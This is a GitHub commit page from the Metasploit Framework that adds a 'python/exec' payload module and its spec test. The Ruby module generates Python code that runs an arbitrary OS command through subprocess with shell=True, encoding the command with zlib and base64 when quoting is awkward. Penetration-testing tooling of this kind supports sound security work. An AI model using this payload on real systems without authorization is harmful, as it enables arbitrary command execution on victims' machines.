Skip to content

Commit ff52146

Browse files
authored
Land rapid7#19528, Add Python exec payload
Add a python/exec payload to execute OS commands
2 parents 4a59d3d + f2a7235 commit ff52146

File tree

2 files changed

+66
-0
lines changed

2 files changed

+66
-0
lines changed
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
module MetasploitModule
2+
CachedSize = 248
3+
4+
include Msf::Payload::Single
5+
include Msf::Payload::Python
6+
7+
def initialize(info = {})
8+
super(
9+
merge_info(
10+
info,
11+
'Name' => 'Python Execute Command',
12+
'Description' => 'Execute an arbitrary OS command. Compatible with Python 2.7 and 3.4+.',
13+
'Author' => 'Spencer McIntyre',
14+
'License' => MSF_LICENSE,
15+
'Platform' => 'python',
16+
'Arch' => ARCH_PYTHON,
17+
'PayloadType' => 'python',
18+
'Payload' => {
19+
'Offsets' => {},
20+
'Payload' => ''
21+
}
22+
)
23+
)
24+
register_options(
25+
[
26+
OptString.new('CMD', [ true, 'The command string to execute' ]),
27+
]
28+
)
29+
end
30+
31+
def generate(_opts = {})
32+
super + command_string
33+
end
34+
35+
def command_string
36+
py_code = %(from subprocess import Popen,PIPE\n)
37+
38+
# try to just use raw strings if nothing would need to be escaped
39+
if !datastore['CMD'].include?("'")
40+
py_code << %(args=[r'#{datastore['CMD']}']\n)
41+
elsif !datastore['CMD'].include?('"')
42+
py_code << %(args=[r"#{datastore['CMD']}"]\n)
43+
elsif !datastore['CMD'].include?("'''")
44+
py_code << %(args=[r'''#{datastore['CMD']}''']\n)
45+
elsif !datastore['CMD'].include?('"""')
46+
py_code << %(args=[r"""#{datastore['CMD']}"""]\n)
47+
else
48+
encoded = Rex::Text.encode_base64(Rex::Text.zlib_deflate(datastore['CMD']))
49+
py_code << %{import zlib,base64;args=[zlib.decompress(base64.b64decode('#{encoded}')).decode()]\n}
50+
end
51+
52+
py_code << %{Popen(args,shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE)\n}
53+
54+
py_create_exec_stub(py_code)
55+
end
56+
end

spec/modules/payloads_spec.rb

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2853,6 +2853,16 @@
28532853
reference_name: 'php/shell_findsock'
28542854
end
28552855

2856+
context 'python/exec' do
2857+
it_should_behave_like 'payload cached size is consistent',
2858+
ancestor_reference_names: [
2859+
'singles/python/exec'
2860+
],
2861+
dynamic_size: false,
2862+
modules_pathname: modules_pathname,
2863+
reference_name: 'python/exec'
2864+
end
2865+
28562866
context 'python/meterpreter/bind_tcp' do
28572867
it_should_behave_like 'payload cached size is consistent',
28582868
ancestor_reference_names: [

0 commit comments

Comments
 (0)